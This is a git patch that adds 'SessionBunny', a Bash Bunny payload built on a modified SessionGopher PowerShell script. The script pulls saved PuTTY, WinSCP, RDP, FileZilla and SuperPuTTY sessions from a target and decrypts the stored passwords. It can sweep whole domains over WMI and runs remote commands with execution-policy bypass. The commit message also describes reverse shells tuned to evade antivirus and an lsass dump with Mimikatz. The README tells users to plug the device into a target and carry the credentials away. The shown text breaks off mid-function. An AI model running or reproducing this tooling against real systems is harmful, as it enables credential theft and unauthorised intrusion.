From e91c3b46ebbde1203f25f4c8510cbee49ae8d1b5 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Tue, 15 Feb 2022 03:34:28 +0100 Subject: [PATCH 01/14] Uploaded SessionBunny (#494) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Uploaded ReverseBunny Obfuscated reverse shell via powershell * Uploaded WifiSnatch Get your targets stored wifi information and credentials, store them on your Bashbunny and hop away 🐇 * Update ReverseBunny.txt Changed payload to evade Windows Defender * Update payload.txt Added new "Eject Method" - props to Night(9o3) * Update README.md * Deleted ReverseBunny.txt Deleted because of higher risk to get caught by AV * Updated ReverseBunny to version 1.2 Updated ReverseBunny to version 1.2. - Deleted payload on disk because of AV - Added custom shell design * Updated ReverseBunny to version 1.2 Updated README for ReverseBunny update * Updated payload fixed some stupid left overs <3 * Uploaded pingUinBunny a reverse shell using icmp * Delete payloads/library/remote_access/switch1 directory * Uploaded pingUinBunny A reverse shell using icmp * Update README.md * Update README.md * Updated to PingZhell * Update Bunny.pl * Update README.md * Update README.md * Update payload.txt * Rename payloads/library/remote_access/pingUinBunny/Bunny.pl to payloads/library/remote_access/PingZhellBunny/Bunny.pl * Rename payloads/library/remote_access/pingUinBunny/PingZhell.ps1 to payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 * Rename payloads/library/remote_access/pingUinBunny/README.md to payloads/library/remote_access/PingZhellBunny/README.md * Rename payloads/library/remote_access/pingUinBunny/payload.txt to payloads/library/remote_access/PingZhellBunny/payload.txt * Update payload.txt * Update README.md * Update README.md * Update Bunny.pl * Created ProcDumpBunny Dump lsass.exe with a renamed version of procdump and get the users hashes with Mimikatz * Update README.md * Update payload.txt * Updated ReverseBunny Fixed wrong DELAY commands * Updated PingZhellBunny Fixed wrong DELAY commands * Updated WifiSnatch Fixed multiple mistakes * Uploaded HashDumpBunny Use your BashBunny to dump the user hashes of your target - similar to the msf post-module. The script was obfuscated with multiple layers, so don't be confused. If you don't trust this script, run it within a save testing space - which should be best practice anyways ;) * added example picture * Update README.md * Uploaded SessionBunny Utilize SessionGopher (Slightly modified) to find PuTTY, WinSCP, and Remote Desktop saved sessions. It decrypts saved passwords for WinSCP. Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. Afterwards decide which is important and what you want to save onto your BashBunny. * Uploaded SessionBunny Utilize the famous, here slightly modified SessionGopher script, to find PuTTY, WinSCP, and Remote Desktop saved sessions. It decrypts saved passwords for WinSCP. Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. Decide which inforamtion you wanna take with you - save it onto your BashBunny! * Update README.md * Delete SessionBunny directory --- .../credentials/SessionBunny/README.md | 22 + .../credentials/SessionBunny/SessionBunny.ps1 | 948 ++++++++++++++++++ .../credentials/SessionBunny/censorepic.png | Bin 0 -> 52557 bytes .../credentials/SessionBunny/payload.txt | 44 + 4 files changed, 1014 insertions(+) create mode 100644 payloads/library/credentials/SessionBunny/README.md create mode 100644 payloads/library/credentials/SessionBunny/SessionBunny.ps1 create mode 100644 payloads/library/credentials/SessionBunny/censorepic.png create mode 100644 payloads/library/credentials/SessionBunny/payload.txt diff --git a/payloads/library/credentials/SessionBunny/README.md b/payloads/library/credentials/SessionBunny/README.md new file mode 100644 index 00000000..ae8d4d7a --- /dev/null +++ b/payloads/library/credentials/SessionBunny/README.md @@ -0,0 +1,22 @@ +**Title: SessionBunny** + +Author: 0iphor13 +(Credit for SessionGopher: Brandon Arvanaghi) + +Version: 1.0 + +**Instruction:** + +This payload will run the famous SessionGopher script, which was only slightly modified. Searches for PuTTY, WinSCP, and Remote Desktop saved sessions, decrypts saved passwords for WinSCP, +Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. +After you recieve the information, save the items you are interested in simply on your BashBunny. + +# + +**Instruction:** + +Place SessionBunny.ps1 in the same payload switch-folder as your payload.txt +# +Plug in BashBunny. +Wait for the script to finish and decide what you wanna do with the information gathered +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png) diff --git a/payloads/library/credentials/SessionBunny/SessionBunny.ps1 b/payloads/library/credentials/SessionBunny/SessionBunny.ps1 new file mode 100644 index 00000000..c7bd7818 --- /dev/null +++ b/payloads/library/credentials/SessionBunny/SessionBunny.ps1 @@ -0,0 +1,948 @@ +function Invoke-SessionBunny +{ +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $False)] + [String] + $Computername, + + [Parameter(Position= 1 , Mandatory = $False)] + [String] + $Credential, + + [Parameter(Position= 2 , Mandatory = $False)] + [Alias("iL")] + [String] + $Inputlist, + + [Parameter(Position = 3, Mandatory = $False)] + [Switch] + $AllDomain, + + [Parameter(Position = 4, Mandatory = $False)] + [Switch] + $Everything, + + [Parameter(Position = 5, Mandatory = $False)] + [Switch] + $ExcludeDC, + + [Parameter(Position = 6, Mandatory = $False)] + [Switch] + [Alias("o")] + $OutCSV, + + [Parameter(Position=8, Mandatory = $False)] + [String] + $OutputDirectory = "$pwd\SessionGopher-" + (Get-Date -Format o | foreach {$_ -replace ":", "."}) + ) + + Write-Output ' + o + o + o_ + / ". SessionGopher + ," _-" Bunny Edition (0iphor13) + ," m m + ..+ ) Brandon Arvanaghi + `m..m @arvanaghi | arvanaghi.com + ' + $ErrorActionPreference = "SilentlyContinue" + #clear error listing + $Error.clear() + if ($OutCSV) { + Write-Verbose "Creating directory $OutputDirectory." + New-Item -ItemType Directory $OutputDirectory | Out-Null + New-Item ($OutputDirectory + "\PuTTY.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\SuperPuTTY.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\WinSCP.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\FileZilla.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\RDP.csv") -Type File | Out-Null + if ($Everything) { + New-Item ($OutputDirectory + "\PuTTY ppk Files.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\Microsoft rdp Files.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\RSA sdtid Files.csv") -Type File | Out-Null + } + } + + if ($Credential) { + $Credentials = Get-Credential -Credential $Credential + } + + # Value for HKEY_USERS hive + $HKU = 2147483651 + # Value for HKEY_LOCAL_MACHINE hive + $HKLM = 2147483650 + + $PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions" + $WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions" + $RDPPathEnding = "\SOFTWARE\Microsoft\Terminal Server Client\Servers" + + if ($Inputlist -or $AllDomain -or $ComputerName) { + + # Whether we read from an input file or query active directory + $Reader = "" + + if ($AllDomain) { + Write-Verbose "Getting member computers in the domain." + $Reader = GetComputersFromActiveDirectory + } elseif ($Inputlist) { + Write-Verbose "Reading the list of targets." + $Reader = Get-Content ((Resolve-Path $Inputlist).Path) + } elseif ($ComputerName) { + Write-Verbose "Setting target computer as $ComputerName." + $Reader = $ComputerName + } + + $optionalCreds = @{} + if ($Credentials) { + $optionalCreds['Credential'] = $Credentials + } + + foreach ($RemoteComputer in $Reader) { + + if ($AllDomain) { + # Extract just the name from the System.DirectoryServices.SearchResult object + $RemoteComputer = $RemoteComputer.Properties.name + } + if ($RemoteComputer) { + Write-Output "Digging on" $RemoteComputer"..." + + $SIDS = Invoke-WmiMethod -Class 'StdRegProv' -Name 'EnumKey' -ArgumentList $HKU,'' -ComputerName $RemoteComputer @optionalCreds | Select-Object -ExpandProperty sNames | Where-Object {$_ -match 'S-1-5-21-[\d\-]+$'} + + foreach ($SID in $SIDs) { + + # Get the username for SID we discovered has saved sessions + $MappedUserName = try { (Split-Path -Leaf (Split-Path -Leaf (GetMappedSID))) } catch {} + $Source = (($RemoteComputer + "\" + $MappedUserName) -Join "") + + # Created for each user found. Contains all sessions information for that user. + $UserObject = New-Object PSObject + + <# + PuTTY: contains hostname and usernames + SuperPuTTY: contains username, hostname, relevant protocol information, decrypted passwords if stored + RDP: contains hostname and username of sessions + FileZilla: hostname, username, relevant protocol information, decoded passwords if stored + WinSCP: contains hostname, username, protocol, deobfuscated password if stored and no master password used + #> + $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPSessions = New-Object System.Collections.ArrayList + $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList + $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList + + # Construct tool registry/filesystem paths from SID or username + $RDPPath = $SID + $RDPPathEnding + $PuTTYPath = $SID + $PuTTYPathEnding + $WinSCPPath = $SID + $WinSCPPathEnding + $SuperPuTTYFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\Documents\\SuperPuTTY\\' AND FileName='Sessions' AND Extension='XML'" + $FileZillaFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\AppData\\Roaming\\FileZilla\\' AND FileName='sitemanager' AND Extension='XML'" + + $RDPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$RDPPath @optionalCreds + $PuTTYSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$PuTTYPath @optionalCreds + $WinSCPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$WinSCPPath @optionalCreds + $SuperPuTTYPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $SuperPuTTYFilter -ComputerName $RemoteComputer @optionalCreds | Select Name) + $FileZillaPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $FileZillaFilter -ComputerName $RemoteComputer @optionalCreds | Select Name) + + # If any WinSCP saved sessions exist on this box... + if (($WinSCPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + Write-Verbose "Found saved WinSCP sessions." + # Get all sessions + $WinSCPSessions = $WinSCPSessions | Select-Object -ExpandProperty sNames + + foreach ($WinSCPSession in $WinSCPSessions) { + + $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password + $WinSCPSessionObject.Source = $Source + $WinSCPSessionObject.Session = $WinSCPSession + + $Location = $WinSCPPath + "\" + $WinSCPSession + + $WinSCPSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue + $WinSCPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserName" @optionalCreds).sValue + $WinSCPSessionObject.Password = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"Password" @optionalCreds).sValue + + if ($WinSCPSessionObject.Password) { + + $MasterPassPath = $SID + "\Software\Martin Prikryl\WinSCP 2\Configuration\Security" + + $MasterPassUsed = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetDWordValue -ArgumentList $HKU,$MasterPassPath,"UseMasterPassword" @optionalCreds).uValue + + if (!$MasterPassUsed) { + $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password) + } else { + $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery" + } + + } + + [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject) + + } # For Each WinSCP Session + + if ($ArrayOfWinSCPSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions + + if ($OutCSV) { + $ArrayOfWinSCPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation + } else { + Write-Output "WinSCP Sessions" + $ArrayOfWinSCPSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If path to WinSCP exists + + if (($PuTTYSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + Write-Verbose "Found saved PuTTY sessions." + # Get all sessions + $PuTTYSessions = $PuTTYSessions | Select-Object -ExpandProperty sNames + + foreach ($PuTTYSession in $PuTTYSessions) { + + $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname + + $Location = $PuTTYPath + "\" + $PuTTYSession + + $PuTTYSessionObject.Source = $Source + $PuTTYSessionObject.Session = $PuTTYSession + $PuTTYSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue + + [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject) + + } + + if ($ArrayOfPuTTYSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions + + if ($OutCSV) { + $ArrayOfPuTTYSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Sessions" + $ArrayOfPuTTYSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If PuTTY session exists + + if (($RDPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + Write-Verbose "Found saved RDP sessions." + # Get all sessions + $RDPSessions = $RDPSessions | Select-Object -ExpandProperty sNames + + foreach ($RDPSession in $RDPSessions) { + + $RDPSessionObject = "" | Select-Object -Property Source,Hostname,Username + + $Location = $RDPPath + "\" + $RDPSession + + $RDPSessionObject.Source = $Source + $RDPSessionObject.Hostname = $RDPSession + $RDPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserNameHint" @optionalCreds).sValue + + [void]$ArrayOfRDPSessions.Add($RDPSessionObject) + + } + + if ($ArrayOfRDPSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions + + if ($OutCSV) { + $ArrayOfRDPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Sessions" + $ArrayOfRDPSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If RDP sessions exist + + # If we find the SuperPuTTY Sessions.xml file where we would expect it + if ($SuperPuTTYPath.Name) { + Write-Verbose "Found SupePuTTY sessions.xml" + $File = "C:\Users\$MappedUserName\Documents\SuperPuTTY\Sessions.xml" + $FileContents = DownloadAndExtractFromRemoteRegistry $File + + [xml]$SuperPuTTYXML = $FileContents + (ProcessSuperPuTTYFile $SuperPuTTYXML) + + } + + # If we find the FileZilla sitemanager.xml file where we would expect it + if ($FileZillaPath.Name) { + Write-Verbose "Found FileZilaa sitemanager.xml" + $File = "C:\Users\$MappedUserName\AppData\Roaming\FileZilla\sitemanager.xml" + $FileContents = DownloadAndExtractFromRemoteRegistry $File + + [xml]$FileZillaXML = $FileContents + (ProcessFileZillaFile $FileZillaXML) + + } # FileZilla + + } # for each SID + + if ($Everything) { + Write-Verbose "Running the every test. Reading files on the target machine. This may take few minutes." + $ArrayofPPKFiles = New-Object System.Collections.ArrayList + $ArrayofRDPFiles = New-Object System.Collections.ArrayList + $ArrayofsdtidFiles = New-Object System.Collections.ArrayList + + $FilePathsFound = (Get-WmiObject -Class 'CIM_DataFile' -Filter "Drive='C:' AND extension='ppk' OR extension='rdp' OR extension='.sdtid'" -ComputerName $RemoteComputer @optionalCreds | Select Name) + + (ProcessThoroughRemote $FilePathsFound) + + } + + + # Check if the error is access denied. + $ourerror = $error[0] + if ($ourerror.Exception.Message.Contains("Access is denied.")) { + Write-Warning "Access Denied on $RemoteComputer" + } elseif ($ourerror.Exception.Message.Contains("The RPC server is unavailable.")) { + Write-Warning "Cannot connect to $RemoteComputer. Is the host up and accepting RPC connections?" + } else { + Write-Debug "$($ourerror.Exception.Message)" + } + } + }# for each remote computer + # Else, we run SessionGopher locally + } else { + + Write-Output "Digging on"(Hostname)"..." + + # Aggregate all user hives in HKEY_USERS into a variable + $UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'} + + # For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS. + foreach($Hive in $UserHives) { + + # Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information. + $UserObject = New-Object PSObject + + $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList + $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfPPKFiles = New-Object System.Collections.ArrayList + $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPFiles = New-Object System.Collections.ArrayList + $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList + + $objUser = (GetMappedSID) + $Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf) + + $UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value + + # Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key + $PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding" + $WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding" + $MicrosoftRDPPath = Join-Path $Hive.PSPath "\$RDPPathEnding" + $FileZillaPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\AppData\Roaming\FileZilla\sitemanager.xml" + $SuperPuTTYPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\Documents\SuperPuTTY\Sessions.xml" + + if (Test-Path $FileZillaPath) { + + [xml]$FileZillaXML = Get-Content $FileZillaPath + (ProcessFileZillaFile $FileZillaXML) + + } + + if (Test-Path $SuperPuTTYPath) { + + [xml]$SuperPuTTYXML = Get-Content $SuperPuTTYPath + (ProcessSuperPuTTYFile $SuperPuTTYXML) + + } + + if (Test-Path $MicrosoftRDPPath) { + + # Aggregates all saved sessions from that user's RDP client + $AllRDPSessions = Get-ChildItem $MicrosoftRDPPath + + (ProcessRDPLocal $AllRDPSessions) + + } # If (Test-Path MicrosoftRDPPath) + + if (Test-Path $WinSCPPath) { + + # Aggregates all saved sessions from that user's WinSCP client + $AllWinSCPSessions = Get-ChildItem $WinSCPPath + + (ProcessWinSCPLocal $AllWinSCPSessions) + + } # If (Test-Path WinSCPPath) + + if (Test-Path $PuTTYPath) { + + # Aggregates all saved sessions from that user's PuTTY client + $AllPuTTYSessions = Get-ChildItem $PuTTYPath + + (ProcessPuTTYLocal $AllPuTTYSessions) + + } # If (Test-Path PuTTYPath) + + } # For each Hive in UserHives + + # If run in Thorough Mode + if ($Everything) { + + # Contains raw i-node data for files with extension .ppk, .rdp, and sdtid respectively, found by Get-ChildItem + $PPKExtensionFilesINodes = New-Object System.Collections.ArrayList + $RDPExtensionFilesINodes = New-Object System.Collections.ArrayList + $sdtidExtensionFilesINodes = New-Object System.Collections.ArrayList + + # All drives found on system in one variable + $AllDrives = Get-PSDrive + + (ProcessThoroughLocal $AllDrives) + + (ProcessPPKFile $PPKExtensionFilesINodes) + (ProcessRDPFile $RDPExtensionFilesINodes) + (ProcesssdtidFile $sdtidExtensionFilesINodes) + + } # If Thorough + + } # Else -- run SessionGopher locally + +} # Invoke-SessionGopher + +#################################################################################### +#################################################################################### +## Registry Querying Helper Functions +#################################################################################### +#################################################################################### + +# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive +function GetMappedSID { + + # If getting SID from remote computer + if ($Inputlist -or $ComputerName -or $AllDomain) { + # Get the username for SID we discovered has saved sessions + $SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID" + $Value = "ProfileImagePath" + + (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue + # Else, get local SIDs + } else { + # Converts user SID in HKEY_USERS to username + $SID = (Split-Path $Hive.Name -Leaf) + $objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID") + $objSID.Translate( [System.Security.Principal.NTAccount]) + } + +} + +function DownloadAndExtractFromRemoteRegistry($File) { + # The following code is taken from Christopher Truncer's WMIOps script on GitHub. It gets file contents through WMI by + # downloading the file's contents to the remote computer's registry, and then extracting the value from that registry location + $fullregistrypath = "HKLM:\Software\Microsoft\DRM" + $registrydownname = "ReadMe" + $regpath = "SOFTWARE\Microsoft\DRM" + + # On remote system, save file to registry + Write-Verbose "Reading remote file and writing on remote registry" + $remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [System.Convert]::ToBase64String($fct); New-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registrydownname'" + ' -Value $fctenc -PropertyType String -Force' + $remote_command = 'powershell -nop -exec bypass -c "' + $remote_command + '"' + + $null = Invoke-WmiMethod -class win32_process -Name Create -Argumentlist $remote_command -ComputerName $RemoteComputer @optionalCreds + + # Sleeping to let remote system read and store file + Start-Sleep -s 15 + + $remote_reg = "" + + # Grab file from remote system's registry + $remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM, $regpath, $registrydownname -Computer $RemoteComputer @optionalCreds + + $decoded = [System.Convert]::FromBase64String($remote_reg.sValue) + $UTF8decoded = [System.Text.Encoding]::UTF8.GetString($decoded) + + # Removing Registry value from remote system + $null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $RemoteComputer @optionalCreds + + $UTF8decoded + +} + +#################################################################################### +#################################################################################### +## File Processing Helper Functions +#################################################################################### +#################################################################################### + +function ProcessThoroughLocal($AllDrives) { + + foreach ($Drive in $AllDrives) { + # If the drive holds a filesystem + if ($Drive.Provider.Name -eq "FileSystem") { + $Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue + foreach ($Dir in $Dirs) { + Switch ($Dir.Extension) { + ".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)} + ".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)} + ".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)} + } + } + } + } + +} + +function ProcessThoroughRemote($FilePathsFound) { + + foreach ($FilePath in $FilePathsFound) { + # Each object we create for the file extension found from a -Thorough search will have the same properties (Source, Path to File) + $EverythingObject = "" | Select-Object -Property Source,Path + $EverythingObject.Source = $RemoteComputer + + $Extension = [IO.Path]::GetExtension($FilePath.Name) + + if ($Extension -eq ".ppk") { + $EverythingObject.Path = $FilePath.Name + [void]$ArrayofPPKFiles.Add($EverythingObject) + } elseif ($Extension -eq ".rdp") { + $EverythingObject.Path = $FilePath.Name + [void]$ArrayofRDPFiles.Add($EverythingObject) + } elseif ($Extension -eq ".sdtid") { + $EverythingObject.Path = $FilePath.Name + [void]$ArrayofsdtidFiles.Add($EverythingObject) + } + + } + + if ($ArrayOfPPKFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfRDPFiles + + if ($OutCSV) { + $ArrayOfPPKFiles | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Private Key Files (.ppk)" + $ArrayOfPPKFiles | Format-List | Out-String + } + } + + if ($ArrayOfRDPFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles + + if ($OutCSV) { + $ArrayOfRDPFiles | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Connection Files (.rdp)" + $ArrayOfRDPFiles | Format-List | Out-String + } + } + if ($ArrayOfsdtidFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles + + if ($OutCSV) { + $ArrayOfsdtidFiles | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation + } else { + Write-Output "RSA Tokens (sdtid)" + $ArrayOfsdtidFiles | Format-List | Out-String + } + + } + +} # ProcessThoroughRemote + +function ProcessPuTTYLocal($AllPuTTYSessions) { + + # For each PuTTY saved session, extract the information we want + foreach($Session in $AllPuTTYSessions) { + + $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname + + $PuTTYSessionObject.Source = $Source + $PuTTYSessionObject.Session = (Split-Path $Session -Leaf) + $PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname) + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject) + + } + + if ($OutCSV) { + $ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Sessions" + $ArrayOfPuTTYSessions | Format-List | Out-String + } + + # Add the array of PuTTY session objects to UserObject + $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions + +} # ProcessPuTTYLocal + +function ProcessRDPLocal($AllRDPSessions) { + + # For each RDP saved session, extract the information we want + foreach($Session in $AllRDPSessions) { + + $PathToRDPSession = "Microsoft.PowerShell.Core\Registry::" + $Session + + $MicrosoftRDPSessionObject = "" | Select-Object -Property Source,Hostname,Username + + $MicrosoftRDPSessionObject.Source = $Source + $MicrosoftRDPSessionObject.Hostname = (Split-Path $Session -Leaf) + $MicrosoftRDPSessionObject.Username = ((Get-ItemProperty -Path $PathToRDPSession -Name "UsernameHint" -ErrorAction SilentlyContinue).UsernameHint) + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfRDPSessions.Add($MicrosoftRDPSessionObject) + + } # For each Session in AllRDPSessions + + if ($OutCSV) { + $ArrayOfRDPSessions | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation + } else { + Write-Output "Microsoft Remote Desktop (RDP) Sessions" + $ArrayOfRDPSessions | Format-List | Out-String + } + + # Add the array of RDP session objects to UserObject + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions + +} #ProcessRDPLocal + +function ProcessWinSCPLocal($AllWinSCPSessions) { + + # For each WinSCP saved session, extract the information we want + foreach($Session in $AllWinSCPSessions) { + + $PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session + + $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password + + $WinSCPSessionObject.Source = $Source + $WinSCPSessionObject.Session = (Split-Path $Session -Leaf) + $WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname) + $WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username) + $WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password) + + if ($WinSCPSessionObject.Password) { + $MasterPassUsed = ((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword) + + # If the user is not using a master password, we can crack it: + if (!$MasterPassUsed) { + $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password) + # Else, the user is using a master password. We can't retrieve plaintext credentials for it. + } else { + $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery" + } + } + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject) + + } # For each Session in AllWinSCPSessions + + if ($OutCSV) { + $ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation + } else { + Write-Output "WinSCP Sessions" + $ArrayOfWinSCPSessions | Format-List | Out-String + } + + # Add the array of WinSCP session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions + +} # ProcessWinSCPLocal + +function ProcesssdtidFile($sdtidExtensionFilesINodes) { + + foreach ($Path in $sdtidExtensionFilesINodes.VersionInfo.FileName) { + + $sdtidFileObject = "" | Select-Object -Property "Source","Path" + + $sdtidFileObject."Source" = $Source + $sdtidFileObject."Path" = $Path + + [void]$ArrayOfsdtidFiles.Add($sdtidFileObject) + + } + + if ($ArrayOfsdtidFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles + + if ($OutCSV) { + $ArrayOfsdtidFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation + } else { + Write-Output "RSA Tokens (sdtid)" + $ArrayOfsdtidFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process sdtid File + +function ProcessRDPFile($RDPExtensionFilesINodes) { + + # Extracting the filepath from the i-node information stored in RDPExtensionFilesINodes + foreach ($Path in 